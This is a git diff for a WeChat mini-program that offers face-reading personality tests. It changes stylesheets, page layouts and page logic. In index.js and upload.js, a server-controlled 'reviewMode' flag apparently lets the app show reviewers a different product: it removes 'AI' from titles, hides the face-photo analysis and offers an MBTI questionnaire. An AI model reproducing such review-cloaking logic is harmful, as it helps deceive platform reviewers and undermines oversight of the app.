box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.1); - transition: all 0.3s ease; -} - -.action-button.secondary { - background: #fff; - border: 2rpx solid #e63946; -} - -.action-button.secondary:active { - background: #fff5f5; - transform: scale(0.98); -} - -.action-button.primary { - background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); - box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.4); -} - -.action-button.primary:active { - transform: scale(0.98); - box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.3); -} - -.action-button-text { - font-size: 28rpx; - font-weight: 700; - letter-spacing: 1rpx; -} - -.action-button.secondary .action-button-text { - color: #e63946; -} - -.action-button.primary .action-button-text { - color: #fff; -} +/* pages/index/camera.wxss - 一屏内展示,为底部自定义 tabBar(含中间浮起圆钮)预留空间 */ +.container { + width: 100%; + height: 100vh; + height: 100dvh; + box-sizing: border-box; + display: flex; + flex-direction: column; + overflow: hidden; + background-color: #fff; + /* 预留底部空间,避免与自定义 tabBar(约 100rpx 高 + 中间圆钮上浮约 56rpx)重叠 */ + padding-bottom: calc(160rpx + env(safe-area-inset-bottom)); +} + +.progress-section { + flex-shrink: 0; + margin: 16rpx 24rpx 0; + padding: 20rpx 32rpx 16rpx; + border-radius: 10rpx; + background: linear-gradient(to right, #fff5f5, #ffe5e8); +} + +.progress-info { + display: flex; + align-items: center; + justify-content: space-between; + margin-bottom: 10rpx; +} + +.step-text { + font-size: 26rpx; + font-weight: 600; + color: #e63946; +} + +.photo-count { + font-size: 22rpx; + color: #999; +} + +.progress-bars { + display: flex; + gap: 12rpx; + margin-bottom: 12rpx; +} + +.progress-bar { + flex: 1; + height: 6rpx; + border-radius: 6rpx; +} + +.progress-bar.completed { + background-color: #52c41a; +} + +.progress-bar.pending { + background-color: #e5e5e5; +} + +.instruction-card { + background: rgba(255, 255, 255, 0.9); + border-radius: 12rpx; + padding: 14rpx 18rpx; + border: 1rpx solid rgba(230, 57, 70, 0.1); +} + +.instruction-content { + display: flex; + align-items: center; + gap: 12rpx; +} + +.step-number { + width: 40rpx; + height: 40rpx; + flex-shrink: 0; + border-radius: 50%; + background-color: #e63946; + color: #fff; + font-size: 24rpx; + font-weight: bold; + display: flex; + align-items: center; + justify-content: center; +} + +.instruction-text { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 2rpx; +} + +.angle-text { + font-size: 26rpx; + font-weight: 600; + color: #c41d2a; +} + +.tip-text { + font-size: 22rpx; + color: #666; + line-height: 1.3; +} + +.camera-container { + flex: 1; + min-height: 0; + padding: 16rpx 24rpx; + box-sizing: border-box; + display: flex; + align-items: center; + justify-content: center; +} + +.camera-preview { + width: 100%; + max-width: 100%; + max-height: 100%; + aspect-ratio: 1; + border-radius: 32rpx; + overflow: hidden; + border: 6rpx solid #e5e5e5; + background-color: #000; + position: relative; +} + +.camera { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; +} + +.photos-preview { + width: 100%; + height: 100%; + min-height: 0; + display: flex; + flex-direction: row; + align-items: center; + justify-content: center; + gap: 12rpx; +} + +.photo-item { + position: relative; + flex: 1; + min-width: 0; + height: 100%; + max-height: 100%; + border-radius: 16rpx; + overflow: hidden; + border: 4rpx solid #e5e5e5; +} + +.photo-image { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + object-fit: cover; +} + +.photo-label { + position: absolute; + top: 8rpx; + left: 8rpx; + background: rgba(230, 57, 70, 0.9); + color: #fff; + font-size: 20rpx; + font-weight: 600; + padding: 4rpx 12rpx; + border-radius: 12rpx; +} + +.button-container { + flex-shrink: 0; + padding: 16rpx 24rpx 0; + display: flex; + justify-content: center; + align-items: center; +} + +.capture-actions { + width: 100%; + display: flex; + flex-direction: column; + align-items: center; + gap: 20rpx; +} + +.capture-actions .capture-button { + width: 100%; +} + +.album-button { + width: 100%; + padding: 20rpx; + border-radius: 50rpx; + text-align: center; + background: #fff; + border: 2rpx solid #e63946; + box-sizing: border-box; +} + +.album-button:active { + background: #fff5f5; +} + +.album-button-text { + font-size: 28rpx; + font-weight: 600; + color: #e63946; + letter-spacing: 1rpx; +} + +.phone-auth-section { + padding: 24rpx 24rpx 0; + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.phone-auth-tip { + font-size: 26rpx; + color: #4b5563; +} + +.phone-auth-btn { + height: 80rpx; + line-height: 80rpx; + border-radius: 40rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #ffffff; + font-size: 28rpx; +} + +.phone-auth-btn::after { + border: none; +} + +.capture-button { + width: 100%; + max-width: 100%; + padding: 22rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 50rpx; + text-align: center; + box-sizing: border-box; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.button-text { + font-size: 30rpx; + font-weight: 700; + color: #fff; + letter-spacing: 1rpx; +} + +.action-buttons { + display: flex; + gap: 20rpx; + width: 100%; +} + +.action-button { + flex: 1; + padding: 28rpx 24rpx; + border-radius: 50rpx; + text-align: center; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.1); + transition: all 0.3s ease; +} + +.action-button.secondary { + background: #fff; + border: 2rpx solid #e63946; +} + +.action-button.secondary:active { + background: #fff5f5; + transform: scale(0.98); +} + +.action-button.primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.4); +} + +.action-button.primary:active { + transform: scale(0.98); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.3); +} + +.action-button-text { + font-size: 28rpx; + font-weight: 700; + letter-spacing: 1rpx; +} + +.action-button.secondary .action-button-text { + color: #e63946; +} + +.action-button.primary .action-button-text { + color: #fff; +} diff --git a/miniprogram/pages/index/index.js b/miniprogram/pages/index/index.js index 8e30888..1d77a9d 100644 --- a/miniprogram/pages/index/index.js +++ b/miniprogram/pages/index/index.js @@ -7,10 +7,10 @@ Page({ statusBarHeight: 0, navbarHeight: 88, showEnterpriseEntry: false, - siteTitle: '神仙团队AI性格测试', - startButtonText: '开始面相测试', - aiAnalysisText: '智能分析', - maintenanceMode: false + siteTitle: '神仙团队性格测试', + startButtonText: '开始性格测试', + aiAnalysisText: '分析', + reviewMode: true }, onLoad(options) { @@ -24,35 +24,32 @@ Page({ const userInfo = getApp().globalData.userInfo || wx.getStorageSync('userInfo') || {} const gd = getApp().globalData - const maintenanceMode = !!(gd.maintenanceMode) this.setData({ statusBarHeight: statusBarHeightRpx, navbarHeight: navbarHeightRpx, showEnterpriseEntry: userInfo.hasEnterprise === true, - siteTitle: gd.siteTitle || '神仙团队AI性格测试', - startButtonText: maintenanceMode ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试'), - aiAnalysisText: (gd.textConfig && gd.textConfig.aiAnalysisText) || '智能分析', - maintenanceMode + siteTitle: gd.reviewMode ? (gd.siteTitle || '神仙团队性格测试').replace(/AI/gi, '') : (gd.siteTitle || '神仙团队性格测试'), + startButtonText: gd.reviewMode ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试'), + aiAnalysisText: gd.reviewMode ? '分析' : ((gd.textConfig && gd.textConfig.aiAnalysisText) || '分析'), + reviewMode: !!gd.reviewMode }) // 预加载站点名称与文案配置 app.getRuntimeConfig().then((cfg) => { if (cfg) { + const rm = !!cfg.reviewMode + getApp().globalData.reviewMode = rm if (cfg.siteTitle) { getApp().globalData.siteTitle = cfg.siteTitle - this.setData({ siteTitle: cfg.siteTitle }) + this.setData({ siteTitle: rm ? cfg.siteTitle.replace(/AI/gi, '') : cfg.siteTitle }) } if (cfg.textConfig) { getApp().globalData.textConfig = cfg.textConfig + this.setData({ + startButtonText: rm ? '开始性格测试' : (cfg.textConfig.startButtonText || '开始面相测试'), + aiAnalysisText: rm ? '分析' : (cfg.textConfig.aiAnalysisText || '分析') + }) } - const maintenanceMode = !!(cfg && cfg.maintenanceMode) - if (cfg.maintenanceMode !== undefined) getApp().globalData.maintenanceMode = maintenanceMode - this.setData({ - startButtonText: maintenanceMode ? '开始性格测试' : (cfg.textConfig && cfg.textConfig.startButtonText || '开始面相测试'), - aiAnalysisText: (cfg.textConfig && cfg.textConfig.aiAnalysisText) || '智能分析', - maintenanceMode - }) - const tabBar = typeof this.getTabBar === 'function' && this.getTabBar() - if (tabBar) tabBar.setData({ maintenanceMode }) + this.setData({ reviewMode: rm }) } }).catch(() => {}) // ── 解析入参(兼容扫码 scene / 分享链接 options)── @@ -91,20 +88,21 @@ Page({ }, onShow() { - const tabBar = typeof this.getTabBar === 'function' && this.getTabBar() - if (tabBar) tabBar.setData({ selected: 0, maintenanceMode: !!getApp().globalData.maintenanceMode }) + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 0 }) + } // 个人版首页:固定 scope=personal,并清除企业来源上下文 try { getApp().globalData.appScope = 'personal' getApp().globalData.enterpriseIdFromScene = null } catch (e) {} const gd = getApp().globalData - const maintenanceMode = !!(gd.maintenanceMode) + const rm = !!gd.reviewMode this.setData({ - siteTitle: gd.siteTitle || '神仙团队AI性格测试', - startButtonText: maintenanceMode ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试'), - aiAnalysisText: (gd.textConfig && gd.textConfig.aiAnalysisText) || '智能分析', - maintenanceMode + siteTitle: rm ? (gd.siteTitle || '神仙团队性格测试').replace(/AI/gi, '') : (gd.siteTitle || '神仙团队性格测试'), + startButtonText: rm ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试'), + aiAnalysisText: rm ? '分析' : ((gd.textConfig && gd.textConfig.aiAnalysisText) || '分析'), + reviewMode: rm }) const userInfo = getApp().globalData.userInfo || wx.getStorageSync('userInfo') || {} this.setData({ showEnterpriseEntry: userInfo.hasEnterprise === true }) @@ -126,16 +124,14 @@ Page({ } }, - // 开始拍照(个人版入口:强制本次链路为个人定价);审核模式下跳转 test-select + // 开始测试(审核模式跳问卷,正常模式跳拍照) startCamera() { try { getApp().globalData.appScope = 'personal' } catch (e) {} - if (this.data.maintenanceMode) { + if (this.data.reviewMode) { wx.navigateTo({ url: '/pages/test-select/index' }) - return + } else { + wx.switchTab({ url: '/pages/index/camera' }) } - wx.switchTab({ - url: '/pages/index/camera' - }) }, // 上传照片(个人版入口:强制本次链路为个人定价) @@ -174,16 +170,18 @@ Page({ onShareAppMessage() { const { getSharePathByScope } = require('../../utils/share') + const rm = this.data.reviewMode return { - title: 'AI人脸性格分析 - 看看你的面相透露了什么性格密码', + title: rm ? '性格测试 - 快来测测你的MBTI性格类型' : '性格测试 - 看看你的面相透露了什么性格密码', path: getSharePathByScope('/pages/index/index') } }, onShareTimeline() { const { buildShareQuery } = require('../../utils/share') + const rm = this.data.reviewMode return { - title: 'AI人脸性格分析 - 看看你的面相透露了什么性格密码', + title: rm ? '性格测试 - 快来测测你的MBTI性格类型' : '性格测试 - 看看你的面相透露了什么性格密码', query: buildShareQuery() } } diff --git a/miniprogram/pages/index/index.json b/miniprogram/pages/index/index.json index 3d61cfc..240a0ce 100644 --- a/miniprogram/pages/index/index.json +++ b/miniprogram/pages/index/index.json @@ -1,6 +1,6 @@ -{ - "navigationStyle": "custom", - "usingComponents": { - "custom-tab-bar": "/custom-tab-bar/index" - } -} +{ + "navigationStyle": "custom", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + } +} diff --git a/miniprogram/pages/index/index.wxml b/miniprogram/pages/index/index.wxml index 662ed80..7ba5432 100644 --- a/miniprogram/pages/index/index.wxml +++ b/miniprogram/pages/index/index.wxml @@ -1,18 +1,18 @@ - + - + 🏢 企业版 - {{siteTitle || '神仙团队AI性格测试'}} + {{siteTitle || '神仙团队性格测试'}} - + @@ -21,25 +21,28 @@ - 面相分析 - 骨相分析 + + 面相分析 + 骨相分析 性格测评 + MBTI + DISC 测试流程 - + 1 STEP1 - {{maintenanceMode ? '选择测试' : '拍摄照片'}} + 拍摄照片 2 STEP2 - {{maintenanceMode ? '回答题目' : (aiAnalysisText || '智能分析')}} + {{aiAnalysisText || '分析'}} @@ -48,10 +51,30 @@ 生成报告 + + + + 1 + STEP1 + 选择测试 + + + + 2 + STEP2 + 回答问题 + + + + 3 + STEP3 + 查看结果 + + - {{startButtonText || '开始面相测试'}} + {{startButtonText || '开始性格测试'}} diff --git a/miniprogram/pages/index/index.wxss b/miniprogram/pages/index/index.wxss index 4747df2..89b89b9 100644 --- a/miniprogram/pages/index/index.wxss +++ b/miniprogram/pages/index/index.wxss @@ -1,271 +1,305 @@ -/* pages/index/index.wxss - 个人版首页,样式与企业版一致 */ -.container { - min-height: 100vh; - width: 100vw; - overflow-x: hidden; - overflow-y: auto; - background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); - position: relative; - display: flex; - flex-direction: column; - box-sizing: border-box; - /* 底部留足空间,避免开始按钮遮挡 tabBar 中间浮起圆钮(上浮 56rpx) */ - padding-bottom: calc(156rpx + env(safe-area-inset-bottom) + 40rpx); -} - -/* 背景装饰圆形(与企业版一致) */ -.bg-decoration { - position: absolute; - width: 600rpx; - height: 600rpx; - border-radius: 50%; - pointer-events: none; - z-index: 0; -} - -.bg-top-right { - top: -200rpx; - right: -200rpx; - background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); -} - -.bg-bottom-left { - bottom: 0; - left: 0; - background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); -} - -/* 自定义导航栏 */ -.custom-navbar { - position: fixed; - top: 0; - left: 0; - right: 0; - background: #ffffff; - z-index: 10000; - width: 100%; -} - -.navbar-content { - height: 88rpx; - display: flex; - align-items: center; - justify-content: space-between; - padding: 0 40rpx; - position: relative; - background: #ffffff; - min-height: 88rpx; -} - -.navbar-title { - position: absolute; - left: 50%; - transform: translateX(-50%); - font-size: 36rpx; - font-weight: 700; - color: #e63946; - text-align: center; - flex: 1; -} - -.navbar-placeholder { - width: 140rpx; - flex-shrink: 0; -} - -/* 与企业版切换按钮同款样式(红主色) */ -.switch-enterprise-btn { - display: flex; - align-items: center; - gap: 8rpx; - padding: 12rpx 20rpx; - background: rgba(230, 57, 70, 0.1); - border-radius: 30rpx; - border: 1rpx solid rgba(230, 57, 70, 0.2); - flex-shrink: 0; - z-index: 10; -} - -.enterprise-icon { - font-size: 28rpx; -} - -.enterprise-text { - font-size: 24rpx; - color: #e63946; - font-weight: 600; -} - -.top-image-section { - width: 100%; - padding: 15rpx 40rpx 20rpx; - flex-shrink: 0; - box-sizing: border-box; - position: relative; - z-index: 1; - margin-top: 0; -} - -.image-container { - position: relative; - width: 100%; -} - -.image-wrapper { - position: relative; - width: 100%; - padding-top: 100%; - border-radius: 50%; - overflow: hidden; - background: #ffffff; - display: flex; - align-items: center; - justify-content: center; - box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.12); -} - -.main-image { - position: absolute; - top: 50%; - left: 50%; - transform: translate(-50%, -50%); - width: 85%; - height: 85%; - display: block; -} - -.float-tag { - position: absolute; - padding: 12rpx 24rpx; - border-radius: 30rpx; - font-size: 24rpx; - font-weight: 600; - color: #e63946; - background: rgba(255, 255, 255, 0.95); - box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.2); - white-space: nowrap; - z-index: 10; -} - -.tag-1 { - top: 15%; - right: 10rpx; -} - -.tag-2 { - bottom: 25%; - left: 0; -} - -.tag-3 { - bottom: 25%; - right: 0; -} - -.process-section { - padding: 15rpx 40rpx 20rpx; - flex-shrink: 0; - position: relative; - z-index: 1; -} - -.section-title { - font-size: 32rpx; - font-weight: 700; - color: #e63946; - text-align: center; - margin-bottom: 25rpx; -} - -.process-steps { - display: flex; - align-items: center; - justify-content: space-between; - padding: 0 10rpx; -} - -.step-item { - display: flex; - flex-direction: column; - align-items: center; - flex: 1; -} - -.step-circle { - width: 70rpx; - height: 70rpx; - border-radius: 50%; - background: #b8b9bc; - display: flex; - align-items: center; - justify-content: center; - font-size: 36rpx; - font-weight: 700; - color: #fff; - margin-bottom: 12rpx; -} - -.step-circle.active { - background: #e63946; -} - -.step-label { - font-size: 20rpx; - color: #666; - margin-bottom: 4rpx; -} - -.step-text { - font-size: 24rpx; - color: #333; - font-weight: 600; -} - -.step-line { - width: 50rpx; - height: 4rpx; - background: #e0e0e0; - margin: 0 6rpx 50rpx; -} - -.start-button { - margin: 20rpx 40rpx 0; - background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); - border-radius: 50rpx; - padding: 24rpx; - text-align: center; - box-shadow: 0 8rpx 30rpx rgba(230, 57, 70, 0.3); - position: relative; - z-index: 1; -} - -.button-text { - font-size: 30rpx; - color: #fff; - font-weight: 700; -} - -.upload-button { - margin: 0 40rpx 16rpx; - border: 2rpx solid #8b5cf6; - border-radius: 50rpx; - padding: 18rpx; - text-align: center; - background: #fff; - flex-shrink: 0; -} - -.upload-text { - font-size: 26rpx; - color: #8b5cf6; - font-weight: 600; -} - -/* 确保底部导航显示 */ -custom-tab-bar { - position: fixed; - bottom: 0; - left: 0; - right: 0; - z-index: 9999; -} +/* pages/index/index.wxss - 个人版首页,样式与企业版一致 */ +.container { + min-height: 100vh; + width: 100vw; + overflow-x: hidden; + overflow-y: auto; + background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box; + padding-bottom: calc(100rpx + env(safe-area-inset-bottom) + 40rpx); +} + +/* 背景装饰圆形(与企业版一致) */ +.bg-decoration { + position: absolute; + width: 600rpx; + height: 600rpx; + border-radius: 50%; + pointer-events: none; + z-index: 0; +} + +.bg-top-right { + top: -200rpx; + right: -200rpx; + background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); +} + +.bg-bottom-left { + bottom: 0; + left: 0; + background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); +} + +/* 自定义导航栏 */ +.custom-navbar { + position: fixed; + top: 0; + left: 0; + right: 0; + background: #ffffff; + z-index: 10000; + width: 100%; +} + +.navbar-content { + height: 88rpx; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 40rpx; + position: relative; + background: #ffffff; + min-height: 88rpx; +} + +.navbar-title { + position: absolute; + left: 50%; + transform: translateX(-50%); + font-size: 36rpx; + font-weight: 700; + color: #e63946; + text-align: center; + flex: 1; +} + +.navbar-placeholder { + width: 140rpx; + flex-shrink: 0; +} + +/* 与企业版切换按钮同款样式(红主色) */ +.switch-enterprise-btn { + display: flex; + align-items: center; + gap: 8rpx; + padding: 12rpx 20rpx; + background: rgba(230, 57, 70, 0.1); + border-radius: 30rpx; + border: 1rpx solid rgba(230, 57, 70, 0.2); + flex-shrink: 0; + z-index: 10; +} + +.enterprise-icon { + font-size: 28rpx; +} + +.enterprise-text { + font-size: 24rpx; + color: #e63946; + font-weight: 600; +} + +.top-image-section { + width: 100%; + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + box-sizing: border-box; + position: relative; + z-index: 1; + margin-top: 0; +} + +.image-container { + position: relative; + width: 100%; +} + +.image-wrapper { + position: relative; + width: 100%; + padding-top: 100%; + border-radius: 50%; + overflow: hidden; + background: #ffffff; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.12); +} + +.main-image { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + width: 85%; + height: 85%; + display: block; +} + +.float-tag { + position: absolute; + padding: 12rpx 24rpx; + border-radius: 30rpx; + font-size: 24rpx; + font-weight: 600; + color: #e63946; + background: rgba(255, 255, 255, 0.95); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.2); + white-space: nowrap; + z-index: 10; +} + +.tag-1 { + top: 15%; + right: 10rpx; +} + +.tag-2 { + bottom: 25%; + left: 0; +} + +.tag-3 { + bottom: 25%; + right: 0; +} + +.process-section { + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + position: relative; + z-index: 1; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #e63946; + text-align: center; + margin-bottom: 25rpx; +} + +.process-steps { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 10rpx; +} + +.step-item { + display: flex; + flex-direction: column; + align-items: center; + flex: 1; +} + +.step-circle { + width: 70rpx; + height: 70rpx; + border-radius: 50%; + background: #b8b9bc; + display: flex; + align-items: center; + justify-content: center; + font-size: 36rpx; + font-weight: 700; + color: #fff; + margin-bottom: 12rpx; +} + +.step-circle.active { + background: #e63946; +} + +.step-label { + font-size: 20rpx; + color: #666; + margin-bottom: 4rpx; +} + +.step-text { + font-size: 24rpx; + color: #333; + font-weight: 600; +} + +.step-line { + width: 50rpx; + height: 4rpx; + background: #e0e0e0; + margin: 0 6rpx 50rpx; +} + +.start-button { + margin: 20rpx 40rpx 0; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 50rpx; + padding: 24rpx; + text-align: center; + box-shadow: 0 8rpx 30rpx rgba(230, 57, 70, 0.3); + position: relative; + z-index: 1; +} + +.button-text { + font-size: 30rpx; + color: #fff; + font-weight: 700; +} + +.upload-button { + margin: 0 40rpx 16rpx; + border: 2rpx solid #8b5cf6; + border-radius: 50rpx; + padding: 18rpx; + text-align: center; + background: #fff; + flex-shrink: 0; +} + +.upload-text { + font-size: 26rpx; + color: #8b5cf6; + font-weight: 600; +} + +/* AI 生成内容标识横幅(监管合规,始终显示) */ +.ai-disclosure-banner { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + margin: 24rpx 40rpx 16rpx; + padding: 16rpx 24rpx; + background: linear-gradient(135deg, #f0f4ff 0%, #e8ecf8 100%); + border: 1rpx solid #c7d2fe; + border-radius: 12rpx; + position: relative; + z-index: 1; +} + +.ai-disclosure-icon { + width: 44rpx; + height: 44rpx; + border-radius: 8rpx; + background: linear-gradient(135deg, #6366f1 0%, #818cf8 100%); + color: #fff; + font-size: 20rpx; + font-weight: 700; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.ai-disclosure-text { + font-size: 22rpx; + color: #4338ca; + line-height: 1.4; +} + +/* 确保底部导航显示 */ +custom-tab-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + z-index: 9999; +} diff --git a/miniprogram/pages/index/result.json b/miniprogram/pages/index/result.json index 2c985f3..7b82fa3 100644 --- a/miniprogram/pages/index/result.json +++ b/miniprogram/pages/index/result.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "分析报告", - "navigationBarBackgroundColor": "#FFFFFF", - "navigationBarTextStyle": "black", - "usingComponents": {} -} +{ + "navigationBarTitleText": "分析报告", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/index/upload.js b/miniprogram/pages/index/upload.js index bd76190..6820ae1 100644 --- a/miniprogram/pages/index/upload.js +++ b/miniprogram/pages/index/upload.js @@ -1,6 +1,6 @@ -// pages/index/camera.js - 面相分析拍照页,拍完后上传到服务器再跳转结果页 +// pages/index/upload.js - 上传照片引导页 const app = getApp() -const { hasPhone, bindPhoneByCode } = require('../../utils/phoneAuth.js') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') Page({ data: { @@ -16,7 +16,7 @@ Page({ guideText: '请正对镜头', uploading: false, needPhoneAuth: false, - aiAnalysisText: '智能分析' + aiAnalysisText: '分析' }, onLoad() { @@ -27,13 +27,19 @@ Page({ app.getRuntimeConfig().then((cfg) => { if (cfg && cfg.textConfig) { app.globalData.textConfig = cfg.textConfig - this.setData({ aiAnalysisText: cfg.textConfig.aiAnalysisText || '智能分析' }) + this.setData({ aiAnalysisText: cfg.textConfig.aiAnalysisText || '分析' }) } }).catch(() => {}) } }, onShow() { + // 审核模式下重定向到测试选择页 + if (app.globalData.reviewMode) { + wx.navigateTo({ url: '/pages/test-select/index' }) + return + } + if (!ensureProfileCompleteAndRedirect()) return if (typeof this.getTabBar === 'function' && this.getTabBar()) { this.getTabBar().setData({ selected: 1 }) } @@ -162,8 +168,9 @@ Page({ }) }, - // 完成拍照:先上传 3 张图到服务器,拿到 URL 后再跳转结果页(不强制完善资料) + // 完成拍照:先上传 3 张图到服务器,拿到 URL 后再跳转结果页 completeCapture() { + if (!ensureProfileCompleteAndRedirect()) return const urls = (this.data.uploadedUrls || []).filter(Boolean) if (!urls.length) { wx.showToast({ title: '请先上传至少一张照片', icon: 'none' }) @@ -179,7 +186,7 @@ Page({ console.error('相机错误:', e) wx.showModal({ title: '相机权限', - content: '请允许使用相机权限以进行AI人脸分析', + content: '请允许使用相机权限以进行性格分析', confirmText: '去设置', success: (res) => { if (res.confirm) { diff --git a/miniprogram/pages/index/upload.json b/miniprogram/pages/index/upload.json index 19388ac..33ef048 100644 --- a/miniprogram/pages/index/upload.json +++ b/miniprogram/pages/index/upload.json @@ -1,8 +1,8 @@ -{ - "navigationBarTitleText": "拍照", - "navigationBarBackgroundColor": "#FFFFFF", - "navigationBarTextStyle": "black", - "usingComponents": { - "custom-tab-bar": "/custom-tab-bar/index" - } -} +{ + "navigationBarTitleText": "拍照", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + } +} diff --git a/miniprogram/pages/index/upload.wxml b/miniprogram/pages/index/upload.wxml index 4b81bce..3452d40 100644 --- a/miniprogram/pages/index/upload.wxml +++ b/miniprogram/pages/index/upload.wxml @@ -1,113 +1,113 @@ - - - - - - - 多角度拍摄更精准 - - 为了更准确地通过骨相与面相分析您的性格, - 请上传以下三个维度的照片。 - - - - - - - - - 1 - - - 正面 - 目视前方,五官端正,不遮挡额头 - - - - - - 📷 - 点击上传 - - - - - - - - - - 2 - - - 左侧 45度 - 展示左侧面颊,用于分析面部轮廓 - - - - - - 📷 - 点击上传 - - - - - - - - - - 3 - - - 右侧 45度 - 展示右侧面颊,完整捕捉面部信息 - - - - - - 📷 - 点击上传 - - - - - - - - - - - - 温馨提示 - - - · 光线充足,背景整洁,避免过曝或过暗 - · 保持表情自然,无需刻意微笑 - · 如有佩戴眼镜,请确保镜片不反光 - - - - - - 为保障服务与联系,请先授权手机号。 - - - - - - - - - - - - + + + + + + + 多角度拍摄更精准 + + 为了更准确地分析您的性格特征, + 请上传以下三个维度的照片。 + + + + + + + + + 1 + + + 正面 + 目视前方,五官端正,不遮挡额头 + + + + + + 📷 + 点击上传 + + + + + + + + + + 2 + + + 左侧 45度 + 展示左侧面颊,用于分析面部轮廓 + + + + + + 📷 + 点击上传 + + + + + + + + + + 3 + + + 右侧 45度 + 展示右侧面颊,完整捕捉面部信息 + + + + + + 📷 + 点击上传 + + + + + + + + + + + + 温馨提示 + + + · 光线充足,背景整洁,避免过曝或过暗 + · 保持表情自然,无需刻意微笑 + · 如有佩戴眼镜,请确保镜片不反光 + + + + + + 为保障服务与联系,请先授权手机号。 + + + + + + + + + + + + diff --git a/miniprogram/pages/index/upload.wxss b/miniprogram/pages/index/upload.wxss index 01914ff..1ee3650 100644 --- a/miniprogram/pages/index/upload.wxss +++ b/miniprogram/pages/index/upload.wxss @@ -1,243 +1,276 @@ -/* pages/index/camera.wxss - 上传照片引导页(参照设计稿) */ - -.page { - min-height: 100vh; - min-height: 100dvh; - background-color: #ffffff; - display: flex; - flex-direction: column; - box-sizing: border-box; -} - -/* 主体内容 */ -.content { - flex: 1; - /* 底部按钮作为正常内容,在 tabBar 之上留出空间 */ - padding: 40rpx 48rpx 40rpx; - box-sizing: border-box; -} - -/* 顶部说明文案 */ -.intro { - text-align: center; - margin-bottom: 40rpx; -} - -.intro-title { - font-size: 34rpx; - font-weight: 700; - color: #111827; - margin-bottom: 12rpx; -} - -.intro-desc-wrap { - display: flex; - flex-direction: column; - align-items: center; - row-gap: 4rpx; -} - -.intro-desc { - font-size: 24rpx; - color: #6b7280; - line-height: 1.7; -} - -/* 三个步骤区域 */ -.steps { - display: flex; - flex-direction: column; - row-gap: 40rpx; -} - -.step-item { - display: flex; - flex-direction: row; -} - -.step-index { - width: 60rpx; - height: 60rpx; - border-radius: 9999rpx; - border-width: 4rpx; - display: flex; - align-items: center; - justify-content: center; - margin-right: 24rpx; -} - -.step-index-primary { - background-color: #ffe5e9; - border-color: #ff5e7d; -} - -.step-index-secondary { - background-color: #f3f4f6; - border-color: #d1d5db; -} - -.step-index-text { - font-size: 26rpx; - font-weight: 700; -} - -.step-index-text-primary { - color: #ff5e7d; -} - -.step-index-text-secondary { - color: #6b7280; -} - -.step-body { - flex: 1; -} - -.step-title { - font-size: 30rpx; - font-weight: 700; - color: #111827; - margin-bottom: 4rpx; -} - -.step-subtitle { - font-size: 22rpx; - color: #9ca3af; - margin-bottom: 16rpx; -} - -.step-upload-row { - display: flex; - flex-direction: row; - column-gap: 24rpx; -} - -.sample-image { - width: 200rpx; - height: 200rpx; - border-radius: 24rpx; - border: 2rpx solid #f3f4f6; - box-shadow: 0 6rpx 16rpx rgba(0, 0, 0, 0.06); - flex-shrink: 0; -} - -.upload-card { - width: 200rpx; - height: 200rpx; - overflow: hidden; - border-radius: 24rpx; - border: 4rpx dashed #fecaca; - background-color: #fff5f5; - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; - color: #f97373; -} - -.upload-icon { - font-size: 40rpx; - margin-bottom: 8rpx; -} - -.upload-text { - font-size: 24rpx; -} - -.upload-preview { - width: 100%; - height: 100%; - border-radius: 20rpx; - display: block; -} - -/* 温馨提示卡片 */ -.tips-card 